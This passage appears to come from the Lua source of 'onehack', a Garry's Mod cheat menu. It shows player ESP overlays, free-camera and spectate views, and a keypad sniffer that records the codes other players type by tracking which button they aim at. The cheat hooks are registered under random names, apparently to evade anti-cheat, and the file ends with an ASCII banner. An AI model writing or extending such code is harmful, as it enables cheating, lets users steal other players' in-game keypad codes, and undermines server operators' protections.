2347 surface.DrawLine( Bones[20].x, Bones[20].y, Bones[21].x, Bones[21].y )
2348
2349 //Arms
2350 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[8].x, Bones[8].y )
2351 surface.DrawLine( Bones[8].x, Bones[8].y, Bones[9].x, Bones[9].y )
2352 surface.DrawLine( Bones[9].x, Bones[9].y, Bones[10].x, Bones[10].y )
2353
2354 surface.DrawLine( Bones[3].x, Bones[3].y, Bones[11].x, Bones[11].y )
2355 surface.DrawLine( Bones[11].x, Bones[11].y, Bones[12].x, Bones[12].y )
2356 surface.DrawLine( Bones[12].x, Bones[12].y, Bones[13].x, Bones[13].y )
2357
2358 end
2359 if onehack.Vars['ESP_TEAM'] then
2360 draw.SimpleTextOutlined(team.GetName(v:Team()),"default",right+3, top,team.GetColor(v:Team()),0,0,1,Color(0,0,0))
2361 end
2362 if onehack.Vars['ESP_GROUP'] then
2363 draw.SimpleTextOutlined(v:GetUserGroup(),"default",right+3, top+11,Color(255,255,255),0,0,1,Color(0,0,0))
2364 end
2365 end
2366 end
2367end
2368end
2369end
2370
2371onehack.memory["hud"] = gcinfo() - memfootprintss
2372end)
2373local elements = {
2374 { -- Screen
2375 x = 0.075,
2376 y = 0.04,
2377 w = 0.85,
2378 h = 0.25,
2379
2380 },
2381 { -- ABORT
2382 x = 0.075,
2383 y = 0.04 + 0.25 + 0.03,
2384 w = 0.85 / 2 - 0.04 / 2 + 0.05,
2385 h = 0.125,
2386 text = "ABORT",
2387 },
2388 { -- OK
2389 x = 0.5 + 0.04 / 2 + 0.05,
2390 y = 0.04 + 0.25 + 0.03,
2391 w = 0.85 / 2 - 0.04 / 2 - 0.05,
2392 h = 0.125,
2393 text = "OK",
2394 }
2395}
2396
2397do -- Create numbers
2398 for i = 1, 9 do
2399 local column = (i - 1) % 3
2400
2401 local row = math.floor((i - 1) / 3)
2402
2403 local element = {
2404 x = 0.075 + (0.3 * column),
2405 y = 0.175 + 0.25 + 0.05 + ((0.5 / 3) * row),
2406 w = 0.25,
2407 h = 0.13,
2408 text = tostring(i),
2409 }
2410 table.insert(elements, element)
2411 end
2412end
2413
2414
2415function onehack.CalculateKeypadCursorPos(ply, ent)
2416 if !ply:IsValid() then return end
2417
2418 local tr = util.TraceLine( { start = ply:EyePos(), endpos = ply:EyePos() + ply:GetAimVector() * 65, filter = ply } )
2419 if !tr.Entity or tr.Entity ~= ent then return 0, 0 end
2420
2421 local scale = ent.Scale
2422 if !scale then return 0, 0 end
2423
2424 local pos, ang = ent:CalculateRenderPos(), ent:CalculateRenderAng()
2425 if !pos or !ang then return 0, 0 end
2426 local normal = ent:GetForward()
2427
2428 local intersection = util.IntersectRayWithPlane(ply:EyePos(), ply:GetAimVector(), pos, normal)
2429 if !intersection then return 0, 0 end
2430
2431 local diff = pos - intersection
2432
2433 local x = diff:Dot( -ang:Forward() ) / scale
2434 local y = diff:Dot( -ang:Right() ) / scale
2435
2436 return x, y
2437end
2438
2439function onehack.KPGetHoveredElement(ply, ent)
2440 local scale = ent.Scale
2441
2442 local w, h = ent.Width2D, ent.Height2D
2443 local x, y = onehack.CalculateKeypadCursorPos(ply, ent)
2444
2445 for _, element in ipairs(elements) do
2446 local element_x = w * element.x
2447 local element_y = h * element.y
2448 local element_w = w * element.w
2449 local element_h = h * element.h
2450
2451 if element_x < x and element_x + element_w > x and
2452 element_y < y and element_y + element_h > y
2453 then
2454 return element
2455 end
2456 end
2457end
2458hook.Add("Think",onehack.RandomString(17),function()
2459 if onehack.Vars['keypad_jiw'] then
2460 for k, v in pairs(player.GetAll()) do
2461 local kp = v:GetEyeTrace().Entity
2462 if IsValid(kp) && IsValid(v) and string.find( kp:GetClass(), "Keypad") and v:EyePos():Distance(kp:GetPos()) <= 120 then
2463 kp.tempCode = kp.tempCode or ""
2464 kp.tempText = kp.tempText or ""
2465 kp.tempStatus = kp.tempStatus or 0
2466 if kp:GetText() != kp.tempText or kp:GetStatus() != kp.tempStatus then
2467 kp.tempText = kp:GetText()
2468 kp.tempStatus = kp:GetStatus()
2469 if(kp.tempText && !kp:GetSecure()) then
2470 kp.tempCode = kp.tempText
2471 timer.Simple(0, function()
2472 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2473 kp.code = kp.tempCode
2474 end
2475 end)
2476 else
2477 local i = onehack.KPGetHoveredElement(v, kp)
2478 if (i) then i = i.text end
2479 if kp.tempText then
2480 timer.Simple(0, function()
2481 if kp:GetStatus() == 1 && kp.tempCode && kp.tempCode != "" then
2482 kp.code = kp.tempCode
2483 end
2484 end)
2485 end
2486 if kp.tempText == "" || kp:GetStatus() == 2 then
2487 kp.tempCode = ""
2488 end
2489 timer.Simple(0, function()
2490 if(tonumber(i) && kp:GetText():len() != 0) then
2491 kp.tempCode = kp.tempCode..i
2492 end
2493 end)
2494 end
2495 end
2496 end
2497 end
2498 end
2499end)
2500hook.Add("CreateMove",onehack.RandomString(17),function(cmd)
2501 if onehack.Vars['FCAM'] then
2502 cmd:ClearButtons()
2503 cmd:ClearMovement()
2504 cmd:SetMouseX(0)
2505 cmd:SetMouseY(0)
2506 end
2507end)
2508
2509function onehack.cameracalculate( ply, pos, angles, fov )
2510 if onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:IsPlayer() then
2511 local view = {}
2512 view.origin = onehack.SpectatePlayer:EyePos() or Vector(0,0,0)
2513 view.angles = onehack.SpectatePlayer:EyeAngles() or Angle(0,0,0)
2514 view.fov = fov
2515 view.drawviewer = true
2516 return view
2517 elseif onehack.Vars['SCAM'] and IsValid(onehack.SpectatePlayer) and onehack.SpectatePlayer:GetClass() == "gmod_cameraprop" then
2518 local view = {}
2519 view.origin = onehack.SpectatePlayer:GetPos() or Vector(0,0,0)
2520 view.angles = onehack.SpectatePlayer:GetAngles() or Angle(0,0,0)
2521 view.fov = fov
2522 view.drawviewer = true
2523 return view
2524 end
2525 if onehack.Vars['FCAM'] then
2526 local view = {}
2527 local newang = angles
2528 onehack.StartCamAng = LocalPlayer():GetAngles()
2529 local speed = onehack.CamSpeed_Normal
2530 if input.IsKeyDown(KEY_LSHIFT) then
2531 speed = onehack.CamSpeed_Fast
2532 elseif input.IsKeyDown(KEY_LCONTROL) then
2533 speed = onehack.CamSpeed_Slow
2534 else
2535 speed = onehack.CamSpeed_Normal
2536 end
2537 if input.IsKeyDown(KEY_W) then
2538 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Forward() * speed
2539 end
2540 if input.IsKeyDown(KEY_A) then
2541 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Right() * speed
2542 end
2543 if input.IsKeyDown(KEY_D) then
2544 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Right() * speed
2545 end
2546 if input.IsKeyDown(KEY_S) then
2547 onehack.StartCamPos = onehack.StartCamPos - onehack.StartCamAng:Forward() * speed
2548 end
2549 if input.IsKeyDown(KEY_SPACE) then
2550 onehack.StartCamPos = onehack.StartCamPos + onehack.StartCamAng:Up() * speed
2551 end
2552 --LocalPlayer():SetPos(onehack.StartCamPos)
2553 view.origin = onehack.StartCamPos
2554 view.angles = newang
2555 view.fov = fov
2556 view.drawviewer = true
2557 return view
2558 end
2559end
2560hook.Add( "CalcView", onehack.RandomString(17), onehack.cameracalculate )
2561
2562MsgC(onehack.theme.chroma,[[
2563
2564
2565
2566
2567
2568
2569
2570
2571
2572
2573
2574
2575
2576
2577
2578
2579
2580
2581
2582
2583
2584
2585
2586
2587
2588
2589
2590
2591
2592
2593
2594
2595
2596
2597
2598
2599
2600
2601
2602
2603
2604
2605
2606
2607
2608
2609
2610
2611
2612 ________ ________ _______ ___ ___ ________ ________ ___ __
2613|\ __ \|\ ___ \|\ ___ \ |\ \|\ \|\ __ \|\ ____\|\ \|\ \
2614\ \ \|\ \ \ \\ \ \ \ __/|\ \ \\\ \ \ \|\ \ \ \___|\ \ \/ /|_
2615 \ \ \\\ \ \ \\ \ \ \ \_|/_\ \ __ \ \ __ \ \ \ \ \ ___ \
2616 \ \ \\\ \ \ \\ \ \ \ \_|\ \ \ \ \ \ \ \ \ \ \ \____\ \ \\ \ \
2617 \ \_______\ \__\\ \__\ \_______\ \__\ \__\ \__\ \__\ \_______\ \__\\ \__\
2618 \|_______|\|__| \|__|\|_______|\|__|\|__|\|__|\|__|\|_______|\|__| \|__|
2619 ___ ___ _____ ________ ________
2620 |\ \ / /|/ __ \ |\ __ \ |\ __ \
2621 \ \ \ / / /\/_|\ \ \ \ \|\ \ \ \ \|\ \
2622 \ \ \/ / /\|/ \ \ \ \ \ \\\ \ \ \ \\\ \
2623 \ \ / / \ \ \ __\ \ \\\ \ __\ \ \\\ \
2624 \ \__/ / \ \__\\__\ \_______\\__\ \_______\
2625 \|__|/ \|__\|__|\|_______\|__|\|_______|]])
2626 MsgC(onehack.theme.chromaalt,[[
2627
2628 ________ ________ _______ ________ ___ _________ ________
2629 |\ ____\|\ __ \|\ ___ \ |\ ___ \|\ \|\___ ___\\ ____\ ___
2630 \ \ \___|\ \ \|\ \ \ __/|\ \ \_|\ \ \ \|___ \ \_\ \ \___|_|\__\
2631 \ \ \ \ \ _ _\ \ \_|/_\ \ \ \\ \ \ \ \ \ \ \ \_____ \|__|
2632 \ \ \____\ \ \\ \\ \ \_|\ \ \ \_\\ \ \ \ \ \ \ \|____|\ \ ___
2633 \ \_______\ \__\\ _\\ \_______\ \_______\ \__\ \ \__\ ____\_\ \|\__\
2634 \|_______|\|__|\|__|\|_______|\|_______|\|__| \|__| |\_________\|__|
2635 \|_________|
2636 ________ ________ _______ ________ ________ _______ ___ ___
2637 |\ _____\\ __ \|\ ___ \ |\ __ \ |\ ___ \|\ ___ \ |\ \ / /|
2638 \ \ \__/\ \ \|\ \ \ __/|\ \ \|\ \ ____________ \ \ \_|\ \ \ __/|\ \ \ / / /
2639 \ \ __\\ \ \\\ \ \ \_|/_\ \ _ _\ |\____________\ \ \ \ \\ \ \ \_|/_\ \ \/ / /
2640 \ \ \_| \ \ \\\ \ \ \_|\ \ \ \\ \| \|____________| \ \ \_\\ \ \ \_|\ \ \ / /
2641 \ \__\ \ \_______\ \_______\ \__\\ _\ \ \_______\ \_______\ \__/ /
2642 \|__| \|_______|\|_______|\|__|\|__| \|_______|\|_______|\|__|/]])